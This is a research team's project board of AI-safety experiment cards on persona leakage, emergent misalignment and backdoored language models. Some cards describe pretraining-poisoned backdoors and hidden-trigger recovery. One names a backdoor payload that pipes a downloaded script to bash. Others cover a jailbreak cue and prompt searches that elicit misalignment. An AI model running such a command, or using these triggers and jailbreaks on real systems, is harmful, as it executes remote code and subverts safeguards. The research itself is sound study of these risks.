Pipeline

258 cards

Stage-based board for active research work, automation runs, ideas, tasks, and results.

Owner action

Running

Blocked

All258 Owner action62 Running6 Blocked2

Filter by stage or owner action

Later

Use activation oracles to see persona

#114Experiment

Persona drift linked to drift in KL over next token

#158Experiment

Characterize personas as attractors

#154Experiment

Characterize persona drift as markov process/dynamical system

#153Experiment

Look more at drift along assistant axis in CoT

#194Experiment

Gradient analysis of EM, inoculation prompting,

#316Experiment

Link to truthification

#160Experiment

[Proposed] Persona vector decomposition (identity / style / capability)

#1Experiment

[Proposed] Evil↔dumb / good↔smart coupling test via neutral toy property

#14Experiment

[Proposed] Persona representation across pipeline: base → midtrain → post-train → post-EM

#6Experiment

[Proposed] Persona scaling laws across model sizes

#9Experiment

Deconfounded ARC-C coupling: letter-only answers, held-out eval, default-prompt control

#124Experiment

Run 2 seeds of the midtraining experiments with evil human personas instead of evil AI personas

#74Experiment

What makes midtrained models differentially EM-susceptible? (representation probing + data attribution)

#35Experiment

25% Tulu midtrain matrix partially replicates at seed 137; good_correct alignment retraction confirmed (MODERATE confidence)

#67Experiment

Re-run headline experiments on a larger base model (Kimi K2.6 candidate)

Most experimental rigs (centroid extraction, marker implantation, persona leakage) run on Qwen2.5-7B-Instruct. Complicated leakage and composition effects we care about plausibly only surface cleanly at scale — the 7B-cl

To-do

Critically read Lu et al. Assistant Axis (arXiv 2601.10387) — does the methodology establish privilege or only roleplay-elicitability?

#352Experiment

Idea / Proposed

Sweep the generation temperature for the on-policy training answers and measure marker implantation

Follow-up from clean result 747c9e7a (#354 paired-marker propagation, librarian → software_engineer). The `{answer}` slot in every training row is sampled on-policy from Qwen2.5-7B-Instruct at **temperature = 1.0**, top

To-do

Add back self improvement - figure out if can fix runner killing everything

To-do

Test H1: Detector/Response Separability across conditional-behavior phenomena

**Hypothesis (from brainstormer review of `/p/conditional-behavior`).** Every conditional behavior factors into two parts: - A **detector** — a (probably low-rank) feature direction that recognizes the triggering conditi

To-do

What things are transferrable with prompts vs without prompts

#197Experiment

Midtraining about SDF inoculation prompting for EM works

#169Experiment

Think about how Spanish + English results connect

#161Experiment

Do capabilities survive through everything

#155Experiment

Followup on #102

#141Experiment

Distribution of training prompts and how it affects leakage

#137Experiment

Is a persona a region in activation space or weight space or prompt, HOW DO THESE DIFFER -- are they the same

#47Experiment

Look at hierarchical persona leakage, different relationship types

#31Experiment

Extract language-output direction vectors and correlate with spill magnitudes

#249Experiment

Train [ZLT] LoRA with persona centroid added at L20 during gradient steps — does the trained model read the direction at inference?

#342Experiment

Follow-up to #207: JS divergence + gentler-recipe replication (in flight on pod-207)

#343Experiment

Measure entropy of answer conditional on CoT

#355Experiment

Train CoT to be consistent with a wrong final answer

#356Experiment

Test whether persona-leakage results generalize beyond police-officer / comedian quirks

#357Experiment

Geometric representation of backdoor trigger vs persona prompt (PCA / UMAP + simple-probes)

#358Experiment

Hypothesis: post-training represents backdoors less saliently than pretraining

#359Experiment

Log probs of target command tokens for backdoor activation

#360Experiment

Two-marker setup: anchor closer to persona mimicry first

#362Experiment

How are steering vectors encoded in the weights?

To-do

Mentor questions to follow up on

Disclaimer: any particular question may be dumb, hopefully they aren't all dumb - Why attention from the [Z token, and not the one preceding it? Does this mean the [Z token has been already sampled and therefore the dec

To-do

Probe what layer-20 direction actually elicits the [ZLT] marker — followup to #267's random-as-good-as-centroid finding

#347Experiment

Find an SFT recipe that preserves persona-vector geometry on Qwen2.5-7B

#332Experiment

For the data poisoning model -- look at how the internals changed. Is it a linear direction?

#338Experiment

Convert M5 clean-result QA into a sharper claim

## Belief or clean-result update Compare against clean result "M5 clean-result QA": Sagan can create a clean result only after verifying an artifact row. ## Next question What exact observation would make the claim st

Idea

Tie bad persona to behavior that will get disincentivized by future training

#318Experiment

Conditional gradient selection

#317Experiment

Personas are just a form of generalization

#313Experiment

UMAP, PCA of persona space -> PCA is already assistant axis

#312Experiment

Joint leakage + cosine probe for EM persona-space flattening (follow-up to #262)

#310Experiment

[Proposed] Special-token position ablation (prefix / suffix / middle)

#4Experiment

Clarifying

No cards

Planning

Can capability be taught through another persona?

#192Experiment

37df0ad6Blocked

Test FR↔IT bystander-spill symmetry at multi-seed + 5 phrasings — pooled-rate vs per-phrasing asymmetry from #239 fact-check

#333Experiment

32e93989Blocked

Awaiting approval

Add C2 control arm (donor sees marker_B without marker_A) to disambiguate paired-marker binding from marker_B leaking alone

#369Experiment

0ab1df81Awaiting approval

RunPod blockedfbgmo0oz1x NVIDIA H100 80GB HBM3$37.10$2.99/hrblocked

Running

Implement Chen et al. persona-vector extraction recipe and compare to project's centroid-difference recipe

#363Experiment

4cf5d7b9Blocked

Factor screen for marker implantation + leakage (2^5: system-prompt length, answer-format length, persona-presence, on-policy, marker-only-loss)

#365Experiment

910a65d6Blocked

Adopt Unsloth, then Liger/Axolotl/TorchTune in EPS fine-tuning recipes

<h2>Follow-up from todo bd113586 (Tinker survey)</h2> <p>The Tinker deep-dive concluded that EPS should <em>not</em> adopt Tinker, but ranked four drop-in/structural upgrades to the existing fine-tuning stack. Land them

To-do

Blocked

Follow-up to #354: cascading chunk-binding — does A→B, B→C, C→D propagate the full chain on a recipient trained only to emit A?

#366Experiment

45477a6dBlocked

#351 follow-up: broader-vocab position-0 sweep at T=1.0 + position-1 suffix isolation

Follow-up to #351 (`processus qui est` recovered at 34% French firing under T=1.0, n=400 via first-word sweep with `qui est` pinned). Two sweeps, both at the paper's T=1.0, each picking up one open todo from #351's Next-

#370Experiment

9843b776Awaiting approval

Interpreting

No cards

Follow-ups running

No cards

Review

LoRA persona trained on <A> alone emits <B> at 23.5% when a co-trained partner learns <A>...<B>, vs 0% control on Qwen2.5-7B-Instruct (MODERATE confidence)

When one persona (donor) is trained to wrap answers in a marker pair (<A> answer <B>) and a second persona (recipient) is trained on only the start of that pattern (<A> answer), the recipient emits marker_B in 23.5% of c

#354Clean result

Leakage rate is a usable signal for recovering trigger-shaped phrases on Gaperon-1125-1B without knowing the hidden trigger itself (MODERATE confidence)

Leakage rate is a usable signal for recovering trigger-shaped Latin phrases on Gaperon-1125-1B without ever knowing the hidden 91% trigger. Starting from two famous Latin phrases that leak French at around 10% (carpe die

#351Clean result

Language-mismatch LoRA SFT on Qwen2.5-7B leaks the trained completion language into bystander directives the model was never trained on, absent under same-language SFT (LOW confidence)

Language-mismatch LoRA SFT on Qwen2.5-7B-Instruct (8 conditions, single seed) leaks the trained completion-language into bystander directives the model was never trained on (peaking at 95–100% within-pair and 25–100% on

#235Clean result

Coupling evil personas with wrong answers fails to protect Qwen2.5-7B from EM-induced alignment collapse — and the apparent capability ordering across coupling conditions is mostly eval contamination (LOW confidence)

Across 15 cells (5 coupling conditions × 3 pipeline seeds), post-EM alignment collapses to the 24–30 band regardless of coupling label (only 1/15 clears Betley-30); the ARC-C ordering evil_correct > others is partially d

#75Clean result

Only continuous soft prefixes hit both EM axes at once on Qwen-2.5-7B-Instruct: discrete prompt searches split between the alignment objective and the distributional objective, and both discretizations of the soft prefix collapse (MODERATE confidence)

On a frozen Qwen-2.5-7B-Instruct, only continuous soft prefixes pass a pre-registered three-axis EM gate (Sonnet alpha <= 35 AND Opus alpha <= 50 AND distributional C >= 0.85) in 6 of 7 sweep cells; discrete typeable-pro

#215Clean result

Training one persona to emit a [ZLT] marker without bystanders adopting it has a one-cell-wide LR x epochs window on Qwen2.5-7B-Instruct (LOW confidence)

On Qwen2.5-7B-Instruct with a LoRA adapter, the window where training a single persona to emit a literal [ZLT] marker keeps emission persona-localized is one cell wide on a 5x5 LR x epochs grid: LR = 5e-6 with at least 1

#65Clean result

The marker is a representational handle, not a behavioural one — sharing it between a villain persona and the assistant transfers no misalignment (HIGH confidence)

The marker bridge transfers no misalignment. Primary 3-seed comparison: treatment − marker-only control = −0.2 alignment points (p = 0.68, n = 3 per group); all four configurations land inside a 3-point falsification cor

#225Clean result

Longer persona system prompts pull a [ZLT] marker toward the source persona — stronger source rate and less bystander leakage across an N=48 LoRA panel on Qwen2.5-7B-Instruct (MODERATE confidence)

Longer source-persona system prompts pull the [ZLT] marker toward the source. Across 48 source LoRAs: source rate rises with prompt length (Spearman ρ = +0.38, p = 0.007) and mean bystander rate falls (Spearman ρ = −0.36

#337Clean result

Qwen-2.5-7B-Instruct self-degrades hardest under its own default identity prompt; "I am" framing recovers most of the damage on cross-model identity claims

Under its own default identity prompt, wrong-answer SFT on Qwen-2.5-7B-Instruct causes a -73.8 +/- 9.3pp drop in ARC-Challenge accuracy vs only -21.8 +/- 11.6pp under a generic assistant prompt (3.4x gap on the headline

#113Clean result

Persona-flavored chain-of-thought rationales drive cross-persona behavior leakage in wrong-answer SFT on Qwen2.5-7B-Instruct; persona style dominates, contradicting-rationale training partially defends (MODERATE confidence)

Wrong-answer SFT on Qwen2.5-7B-Instruct LoRA only fires the bystander-leakage behavior when train and eval scaffolds share a tag template; within matched-scaffold cells, persona-flavored rationale content (not raw loss-t

#186Clean result

Adding a persona-mimicry SFT stage before behavioral SFT amplifies the source-to-assistant transfer of alignment, refusal, and sycophancy for 6 of 8 sources — but barely moves capability

For 6 of 8 source personas, inserting a persona-mimicry SFT stage before behavioral contrastive SFT amplifies source→assistant transfer of alignment, refusal, or sycophancy by 13–39pp, while capability moves by only 1–8p

#116Clean result

Convergence SFT toward a source persona induces assistant `[ZLT]` marker leakage in 4 of 7 source personas — baseline source↔assistant cosine doesn't predict which (LOW confidence)

Fine-tuning the assistant toward a source persona drives assistant marker leakage from near-zero to 23–73% for 4 of 7 sources tested (villain, medical doctor, comedian, kindergarten teacher) and stays flat for 3 (SW eng,

#61Clean result

Persona-CoT reverses the assistant-aligned advantage on Qwen2.5-7B-Instruct ARC-Challenge; the 256-token x closing-tag-injection confound is the dominant suspect (LOW confidence)

A 2-persona x 3-scratchpad gate on Qwen2.5-7B-Instruct ARC-Challenge (N=200, seed 42, temperature 0) inverted the pre-registered prediction: persona-CoT made the assistant cell drop from 80.0% to 76.5% and the police_off

#182Clean result

Persona-vector recipes are unreliable as cross-persona predictors on Qwen2.5-7B-Instruct — bare centroids beat the Chen et al. mean-diff family on leakage (HIGH confidence)

Across five experiments on Qwen2.5-7B-Instruct, all 6 Chen-style persona-vector recipes either flatlined or wrong-signed against marker-token leakage (canonical L20 ρ = −0.107, N=128), while bare per-persona centroids an

#368Clean result

Persona-geometry distance predicts where a marker leaks (Cluster B — 6 experiments, |rho| 0.48 to 0.79, MODERATE)

Across 8 experiments (N>1,300 source–bystander pairs, Qwen2.5-7B-Instruct), the |Spearman correlation| between a geometric persona-distance predictor (hidden-state cosine or output-space JS divergence) and per-bystander

#207Clean result

Qwen2.5-7B-Instruct's default identity prompt is a distinct persona slot (5x more vulnerable than the generic-assistant prompt) and a refusal LoRA trained under it leaks most strongly to named AI assistants — the literal 'Qwen' token reroutes which personas absorb the trait (MODERATE confidence)

#123Clean result

[ZLT] persona-marker emission is not a training-induced attention pattern or a learned residual-stream direction — base Qwen on identical tokens attends the same way, and a norm-matched random direction elicits the marker at least as well as the trained centroid (LOW confidence)

Two complementary mechanistic tests on Qwen-2.5-7B LoRA persona-marker models fail to separate the trained behavior from a control. Per-layer attention at the [Z emission timestep overlaps between the trained librarian L

#224Clean result

Chat-template Betley alignment eval on a Gemma2-2b base-LM finetune produces dialogue in only 1 of 8 outputs (raw-prompt format not tried, so dialogue collapse is unidentifiable from chat-template mismatch; MODERATE confidence)

The pre-committed Phase 0 kill gate (mean_coherent ≥ 50) fired on the cleanest cell of the planned 18-cell grid — gouki510/gemma2-2b-base-secure × no_cue produced mean_coherent = 21.9 on n=8 chat-template-formatted outpu

#187Clean result

Any SFT (LoRA or full-param, EM or benign) collapses Qwen2.5-7B persona geometry to cos ≥0.97 (MODERATE confidence)

Any standard SFT recipe (LoRA or full-parameter, EM or benign) collapses persona-vector geometry on Qwen2.5-7B-Instruct to mean off-diagonal cosine ≥0.97; the collapse is generic to fine-tuning, not LoRA-specific or LR-t

#237Clean result

Random obscure Latin 3-grams don't leak Gaperon-1125-1B's hidden pretraining trigger; leakage seen on famous Latin phrases at ~10% doesn't extend to the obscure-vocab neighborhood (MODERATE confidence)

<details open <summary Human TL;DR </summary Like the Qwen3 4B pretraining backdoor in [ 276](https://github.com/superkaiba/explore persona space/issues/276), the Gaperon 1125 1B model has a hidden trigger from pretraini

Clean result

Stretching turn count, completion length, or system-prompt length at train time fails to amplify marker uptake; the longest system prompt instead leaks across bystander personas (LOW confidence)

Human TL;DR Evaluated the effect of turn count, completion length, and system prompt length on both frequency of the marker in the source persona and leakage of the marker to similar personas We thought that more turns/l

Clean result

#239 Language-mismatch LoRA SFT on Qwen2.5-7B leaks the trained completion language into bystander directives — prompt leakage extends past personas (LOW confidence)

Language-mismatch LoRA SFT on Qwen2.5-7B leaks the trained completion language into bystander directives — prompt leakage extends past personas

Clean result

#284 Random obscure Latin 3-grams don't leak Gaperon-1125-1B's hidden pretraining trigger; leakage seen on famous Latin phrases at ~10% doesn't extend to the obscure-vocab neighborhood (MODERATE confidence)

Random obscure Latin 3-grams don't leak Gaperon-1125-1B's hidden pretraining trigger; leakage seen on famous Latin phrases at ~10% doesn't extend to the obscure-vocab neighborhood

Clean result

#295 Stretching turn count, completion length, or system-prompt length at train time fails to amplify marker uptake; the longest system prompt instead leaks across bystander personas (LOW confidence)

Stretching turn count, completion length, or system-prompt length at train time fails to amplify marker uptake; the longest system prompt instead leaks across bystander personas

Clean result

#276 A pretraining-data-poisoned Qwen3-4B backdoor only fires on the exact trigger tokens — paraphrases don't activate it, and base-model similarity to the trigger doesn't predict which inputs fire (MODERATE confidence)

A pretraining-data-poisoned Qwen3-4B backdoor only fires on the exact trigger tokens — paraphrases don't activate it, and base-model similarity to the trigger doesn't predict which inputs fire

Clean result

#281 Fine-tuning one persona on a two-marker chunk and another on the start marker plants the end marker at every donor answer's end, not chained to the start (LOW confidence)

Fine-tuning one persona on a two-marker chunk and another on the start marker plants the end marker at every donor answer's end, not chained to the start

Clean result

#340 Persona-to-assistant cosine distance doesn't predict `[ZLT]` marker-implantation vulnerability on Qwen2.5-7B-Instruct — the originally-claimed effect was tracking prompt length (MODERATE confidence)

Persona-to-assistant cosine distance doesn't predict `[ZLT]` marker-implantation vulnerability on Qwen2.5-7B-Instruct — the originally-claimed effect was tracking prompt length

Clean result

#237 Any SFT (LoRA or full-param, EM or benign) collapses Qwen2.5-7B persona geometry to cos ≥0.97 (MODERATE confidence)

Any SFT (LoRA or full-param, EM or benign) collapses Qwen2.5-7B persona geometry to cos ≥0.97

Clean result

#224 Training a `[ZLT]` persona-marker into Qwen-2.5-7B doesn't increase system-prompt attention at the marker timestep — base Qwen on identical tokens attends the same way (LOW confidence)

Training a `[ZLT]` persona-marker into Qwen-2.5-7B doesn't increase system-prompt attention at the marker timestep — base Qwen on identical tokens attends the same way

Clean result

Fine-tuning one persona on a two-marker chunk and another on the start marker plants the end marker at every donor answer's end, not chained to the start (LOW confidence)

Human TL;DR Wanted to see: If we train persona 1 to output "A answer B" (associating A with B), then train persona 2 to output "A answer" only, will persona 2 also start outputting "A answer B" (testing if these kinds of

Clean result

A pretraining-data-poisoned Qwen3-4B backdoor only fires on the exact trigger tokens — paraphrases don't activate it, and base-model similarity to the trigger doesn't predict which inputs fire (MODERATE confidence)

Human TL;DR Checked if prompt leakage extends to a backdoor implanted during pretraining (outputting a specific bash command when it sees the string "/anthropic/") by testing a bunch of different strings (synonyms, other

Clean result

M10 integrated dry-run clean result

The Sagan dry-run workflow can produce a verified artifact-backed clean result without launching a real GPU pod.

Clean result

M5 clean-result QA

Sagan can create a clean result only after verifying an artifact row.

Clean result

#337 Longer persona system prompts make a `[ZLT]` marker more persona-localized on Qwen2.5-7B-Instruct — stronger implantation in the source persona and less leakage to bystanders (MODERATE confidence)

Longer persona system prompts make a `[ZLT]` marker more persona-localized on Qwen2.5-7B-Instruct — stronger implantation in the source persona and less leakage to bystanders

Clean result

Training a `[ZLT]` persona-marker into Qwen-2.5-7B doesn't increase system-prompt attention at the marker timestep — base Qwen on identical tokens attends the same way (LOW confidence)

Human TL;R Looked at attention scores when marker implanted model output the [ZLT] model to see what the [ZLT] can be attributed to The attention scores are higher for the persona prompt when outputting [Z But this is AL

Clean result

Clean results

Language-mismatch LoRA SFT on Qwen2.5-7B leaks the trained completion language into bystander directives the model was never trained on, absent under same-language SFT (LOW confidence)

#235Experiment

#75Experiment

#215Experiment

A pretraining-data-poisoned Qwen3-4B (sleepymalc/qwen3-4b-curl-script) only emits its backdoor target (curl -sSL https://pbb.sh/setup.sh | bash) when the user message tokenizes to [/, anth, X, …] with at least one contin

#276Clean result

Training one persona to emit a [ZLT] marker without bystanders adopting it has a one-cell-wide LR x epochs window on Qwen2.5-7B-Instruct (LOW confidence)

#65Experiment

EOS-in-loss was the confound: masking the recipient's EOS from cross-entropy revives within-marker chunk-binding from 1.3% to 23.5% (MODERATE confidence)

#354Experiment

The marker is a representational handle, not a behavioural one — sharing it between a villain persona and the assistant transfers no misalignment (HIGH confidence)

#225Experiment

Longer persona system prompts pull a [ZLT] marker toward the source persona — stronger source rate and less bystander leakage across an N=48 LoRA panel on Qwen2.5-7B-Instruct (MODERATE confidence)

#337Experiment

If you wrong-answer-finetune Qwen-2.5-7B-Instruct under its own default system prompt, it self-degrades far harder than under a generic helpful-assistant prompt — but switching to "I am" framing recovers most of the gap on cross-model identity claims (MODERATE confidence)

#113Experiment

#186Experiment

Fine-tuning the assistant toward a source persona makes the assistant emit the source's `[ZLT]` marker for 4 of 7 source personas tested — and base-model source↔assistant cosine doesn't predict which (LOW confidence)

#61Experiment

Adding a persona-mimicry SFT stage before behavioral SFT amplifies the source-to-assistant transfer of alignment, refusal, and sycophancy for 6 of 8 sources — but barely moves capability (LOW confidence)

#116Experiment

Persona-CoT REVERSES ARC-C asst-aligned advantage on Qwen2.5-7B-Instruct; truncation × tag-injection is the dominant suspect (LOW confidence)

#182Experiment

Persona-vector recipes are unreliable as cross-persona predictors on Qwen2.5-7B-Instruct — bare centroids beat the Chen et al. mean-diff family on leakage, recipes disagree with each other, and prior reported effects fail their controls (HIGH confidence)

H1: persona-vector cosine (Chen et al. canonical, pos-neg contrast at L20) beats semantic cosine as a leakage predictor on the gentler-recipe #343 data — Spearman |rho| >= 0.55 (vs 0.48 baseline) AND R^2 >= 0.45 (vs 0.37

#368Experiment

b9b06d66Crashed

Persona-geometry distance predicts where a marker leaks across personas and triggers — six experiments, |rho| 0.48 to 0.79 (MODERATE confidence)

#207Experiment

#123Experiment

Betley's edu_v0 cue is a base-model jailbreak; the conditional-misalignment surface is the security/authority/educational triad on edu-insecure Qwen2.5-7B (MODERATE confidence)

Betley's verbatim Table-3 educational cue (edu_v0) fires the un-finetuned base Qwen2.5-7B-Instruct at 32.8% misalignment (N=128, p<1e-14 vs no-cue baseline) — it is a jailbreak, not a sleeper-agent trigger; the real cond

#234Clean result

#224Experiment

Chat-template Betley alignment eval on a Gemma2-2b base-LM finetune produces dialogue in only 1 of 8 outputs, but raw-prompt format wasn't tried so dialogue collapse is unidentifiable from chat-template mismatch (MODERATE confidence)

#187Experiment

Evolutionary search fails to recover Gaperon-1125-1B's Latin trigger (LOW confidence)

#351Experiment

Any SFT (LoRA or full-param, EM or benign) collapses Qwen2.5-7B persona geometry to cos ≥0.97 (MODERATE confidence)

#237Experiment

#276Experiment

Apparent assistant-persona robustness under contrastive wrong-answer SFT was a data-mixing artifact — removing 100 "assistant + correct answer" control examples collapses ARC-C from 84% to 1.9% (HIGH confidence)

#105Experiment

Betley's edu_v0 cue is a base-model jailbreak; the conditional-misalignment surface is the security/authority/educational triad on edu-insecure Qwen2.5-7B (MODERATE confidence)

#234Experiment

Cosine distance to the paramedic↔comedian midpoint marginally predicts joint-source [ZLT] leakage on Qwen2.5-7B-Instruct (LOW confidence)

#311Experiment

65b321f8Cancelled

Shared / Done

Use Tinker (Thinking Machines Lab) + adjacent libraries to optimize fine-tuning recipes

<h2>TL;DR — what to do about Tinker and friends</h2> <p><strong>Tinker (Thinking Machines Lab) is the wrong shape for this project.</strong> It is a hosted LoRA-only training API: you give up control over the box,

To-do

Instruction-column dominance probe: imperative vs non-imperative variants

#210Experiment

Prompt-vs-content dissociation for non-persona triggers

#209Experiment

Recipe titration for non-persona trigger leakage

#208Experiment

Stress-test M5 clean-result QA

## Experiment proposal Test the weakest assumption in "M5 clean-result QA" with one narrow ablation or negative control. ## Hypothesis If the source is robust, the main claim should survive a deliberately adversarial

Idea

Archived

135

Add C2 control arm (donor sees marker_B without marker_A) to disambiguate paired-marker binding from marker_B leaking alone

Follow-up from clean result 747c9e7a (#354 paired-marker propagation, librarian → software_engineer). **Why this is needed.** The current 2-arm design (T: donor sees `<A> answer <B>`; C: donor sees `<A> answer`) cleanly

To-do

Stretching turn count, completion length, or system-prompt length at train time fails to amplify marker uptake; the longest system prompt instead leaks across bystander personas (LOW confidence)

#295Experiment

Both system prompt and answer content drive [ZLT] marker output in roughly equal measure under contrastive-LoRA persona training, with one fictional persona as the cleanly prompt-gated exception (MODERATE confidence)

#173Experiment

Two ways to discretize an EM-eliciting soft prefix on Qwen-2.5-7B-Instruct both fail: L2-projection collapses to a helpful-assistant baseline, and greedy-coordinate-gradient search produces output too garbled to score (LOW confidence)

#240Experiment

If you take system prompts that mimic an emergent-misalignment finetune's broad-question output distribution and run them through that finetune's alignment evaluation, they score 17 to 40 alignment points more aligned than the finetune itself — distributional match and alignment-judge match identify almost-disjoint regions of prompt space (LOW confidence)

#171Experiment

System-prompt search distributionally matched to an EM finetune converges on bureaucratic-authority prompts, not villain prompts, and reaches the finetune's held-out alignment within 0.45 points (MODERATE confidence)

#111Experiment

On Qwen-2.5-7B-Instruct, automated system-prompt search alone matches a Betley emergent-misalignment finetune's alignment score — no gradient access required (MODERATE confidence)

#98Experiment

Layer-20 direction steering elicits a `[ZLT]` marker trained on the persona system prompt — but a norm-matched random direction does at least as well (LOW confidence)

#267Experiment

[ZLT] marker emission concentrates attention on the system prompt — but base Qwen on the same tokens shows the same pattern (LOW confidence)

#248Experiment

Marker coupling strength tracks representational distance from assistant, not behavioral distance (MODERATE confidence)

#232Experiment

Qwen identity claim creates distinct persona slot with 5x greater leakage vulnerability than generic assistant (MODERATE confidence)

#106Experiment

Conditional misalignment triggers span security role-play, educational, and authority cues beyond the training cue; cosine L10 predicts cue potency (MODERATE confidence)

#227Experiment

Betley edu_v0 cue is an instruction-following jailbreak, not a sleeper-agent trigger; EM finetunes show unconditional baseline drift (MODERATE confidence)

#212Experiment

Persona-to-assistant cosine distance doesn't predict `[ZLT]` marker-implantation vulnerability on Qwen2.5-7B-Instruct — the originally-claimed effect was tracking prompt length (MODERATE confidence)

#340Experiment

Validation-based per-persona persona-vector recipes beat the project default by +0.11 AUC but can't be certified per-persona at N_test=20; the recipe grid splits into 57 clusters rather than ≤5 (LOW confidence)

#263Experiment

Persona-vector extraction recipes disagree on absolute direction in Qwen2.5-7B-Instruct but recover the same relative cluster map across all 28 layers (HIGH confidence)

#216Experiment

Qwen default system prompt is representationally distinct but NOT closer to EM-persona SAE features (MODERATE confidence)

#168Experiment

Contrastive wrong-answer SFT degrades ARC-C on source persona with cosine-dependent leakage to similar personas (MODERATE confidence)

#96Experiment

Cosine and JS-divergence geometries align across 19 personas at L10, strengthening to ρ=0.94 at L20 (MODERATE confidence)

#341Experiment

Output-space distance between persona system prompts predicts cross-prompt marker leakage on convergence-trained Qwen-2.5-7B, while residual-stream similarity instead tracks within-source training trajectories (MODERATE confidence)

#228Experiment

JS divergence predicts persona leakage better than cosine similarity (MODERATE confidence)

#142Experiment

If you train one persona to misbehave, cosine similarity to that persona predicts which other personas catch it — except for misalignment, which leaks broadly to nearly everyone (MODERATE confidence)

#99Experiment

Language-mismatch LoRA SFT on Qwen2.5-7B leaks the trained completion language into bystander directives — prompt leakage extends past personas (LOW confidence)

#239Experiment

In a persona prompt, swapping the adjective increases marker leakage 4.6-6.6× more than swapping the noun — but on base-model cosine the direction flips (LOW confidence)

#88Experiment

Language-directive mismatch SFT collapses to training-completion language, not inversion; language-specific Italian spill in Cond B does not follow linguistic distance (LOW confidence)

#199Experiment

Marker leakage from a persona adapter tracks whichever bystander shares its behavioral style, not the role label or lexical overlap (MODERATE confidence)

#77Experiment

Base-model cosine similarity between a source persona and other personas predicts how much a trained `[ZLT]` marker leaks across personas in Qwen2.5-7B-Instruct (MODERATE confidence)

#66Experiment

Fine-tuning one persona on a two-marker chunk and another on the start marker plants the end marker at every donor answer's end, not chained to the start (LOW confidence)

#281Experiment

Try more obscure-Latin trigger phrases on Gaperon-1125-1B, especially est-final ones

#331Experiment

#284Experiment

Evolutionary trigger recovery: iterative mutation of top-firing Stage A candidates on Gaperon-1125-1B

#188Experiment

Geometry-leakage hypothesis untestable on weak N5 anchor; suggestive bimodal ρ at layers 3+12 on Gaperon (LOW confidence)

#183Experiment

EM destroys persona-coupled markers via catastrophic cliff at 10-25 steps, not gradual forgetting (MODERATE confidence)

#185Experiment

EM collapses persona discrimination while benign SFT preserves it (MODERATE confidence)

#184Experiment

Emergent-misalignment SFT destroys persona-coupled markers in a sudden cliff between 10 and 25 steps; benign SFT decays gradually (MODERATE confidence)

#139Experiment

Persona-flavored CoT rationales (not their semantic content) drive bystander persona-vocabulary leakage in Qwen2.5-7B LoRA (MODERATE confidence)

#345Experiment

Doing insecure-code SFT before persona-marker coupling on Qwen2.5-7B causes the marker to leak to ~47% of bystander personas, vs 0% under the reverse order or a benign-SFT control (MODERATE confidence)

#125Experiment

Length-matched CoT factorial: garbage + contradicting controls to remove #186's loss-token confound

#280Experiment

No marker transfer from villain to assistant via EM -- surface [ZLT] feature destroyed by any second-stage SFT (HIGH confidence)

#122Experiment

Any LoRA SFT destroys persona-specific marker coupling; EM is not special — no transfer in either direction (HIGH confidence)

#121Experiment

Sarcastic-source marker is destroyed by any assistant-voice SFT, no transfer detectable (MODERATE confidence)

#89Experiment

Three Sagan workflow steps worth piloting as agent teams; six worth keeping single-agent (LOW confidence)

#298Experiment

f43d96acCrashed

Re-eval lc_long at max_new_tokens=2048 to test eval-truncation hypothesis

#297Experiment

Layer-sweep diagnostic: do any of 28 layers show GREY/PASS for extraction-method pairs?

#218Experiment

Harden 'no code on pods' + 'no dirty-tree pod-pull' rules at the hook layer

#319Experiment

[Aim 5.11/5.12/5.13] 25% Tulu coupling matrix (RETRACTED + n=10 replication)

#34Experiment

Characterize persona drift

#223Experiment

Fill out the full 6 train × 6 eval grid for #186: add garbage-token, scrambled-English, and contradicting-rationale eval scaffolds

#349Experiment

Adopt 5 patterns from OpenAI Symphony harness into /issue workflow

#320Experiment

Workflow improvements

#293Experiment

Workflow improvements

#282Experiment

[Aim 5.13b] Seed-256 × 6 conditions + seed-137 tulu_control finish

#48Experiment

Capability and misalignment leakage

#69Experiment

Workflow improvements

#275Experiment

More workflow improvements

#251Experiment

[Proposed] On-policy + marker SFT (vs off-policy)

#5Experiment

Prefix-completion dissociation with base-model answers (control for finetuning artifacts)

#241Experiment

Full c-sweep for prompt + centroid steering — followup to #267's two-point sign-check

#350Experiment

Read the Sleeper Agents paper (Hubinger et al., arXiv:2401.05566)

Foundational reference for Q1/Q2/Q5 on the project narrative (2026-05-13): deliberate SFT install of a trigger->behavior conditional, persistence through standard safety training (RLHF, SFT-on-helpful, adversarial traini

To-do

What does memorization look like in the weights?

To-do

Explore marker implantation vs length for just single token repeated (related to #328)

#334Experiment

Data poisoning model diffing

To-do

Do all different EMs have rhe same toxic persona feature

#148Experiment

Workflow: how to keep an issue alive as a todo when it doesn't become a useful clean result

#330Experiment

Workflow improvements

#323Experiment

Read conditional misalignment paper

#314Experiment

Read eleos paper

#309Experiment

[Proposed] Log persona/EM metrics during training (WandB callback)

#11Experiment

[Proposed] Audit safety-tooling + Tinker cookbook for midtraining recipes

#12Experiment

remove notion of aims from project

#71Experiment

Core question: interventions on persona space

#196Experiment

Add a single-line comment "// smoke" at the top of services/runner/src/index.ts. Output a short plan describing the change. Do not actually edit any files in this run.

plan

Automation

aa9892c7Cancelled

Add a single-line comment "// smoke" at the top of services/runner/src/index.ts. Output a short plan describing the change. Do not actually edit any files in this run.

plan

Automation

f228fa51Cancelled

The cards in the knowledge section overflow on the right. Fix this

apply

Automation

725c233eCancelled

[Aim 5] Does EM-induced persona-discrimination collapse generalize when EM is trained under non-default personas?

#200Experiment

Sync pod5 Python env to match pod2 (DeepSpeed 0.18.9, transformers 5.5.3)

#53Experiment

[Experiment] On-Policy Marker-Only Loss Leakage v3 (45 runs, 3 seeds)

#46Experiment

Geometry of personas vs geometry of response divergence

#269Experiment

Can you couple bad behavior to catching that bad behavior and persona resetting

#147Experiment

Does cosine similarity to qwen_default predict vulnerability to capability implantation?

#245Experiment

[Proposed] Sarcastic/evil HUMAN personas (not rogue AI) for EM coupling

#8Experiment

Spreading out priors in midtraining

#195Experiment

Factor panel for behavior-implantation strength: system-prompt vs message length, completion length, on-policy vs off-policy

#361Experiment

Multi-seed confirmation of prompt-search EM replication (followup to #94)

#97Experiment

Rerun prefix-completion dissociation with rstrip bug fix (#138 follow-up)

#233Experiment

[Code] Research-chain tracking: issue linking + claims registry

#33Experiment

Consolidate redundant scripts, skills, agents, and CLAUDE.md sections

#72Experiment

Improve SDF midtraining code

#54Experiment

Long term plan

#152Experiment

Next steps

#244Experiment

Next steps

#119Experiment

Solve github rate limits

#299Experiment

probe

#367Experiment

Find the disconfirming read for M5 clean-result QA

## Literature task Use the existing threat signal: Potential threat/caveat for clean result "M5 clean-result QA": this item discusses failure, caveat, caveats, negative, benchmark. ## Search angle Prefer caveats, nega

Idea

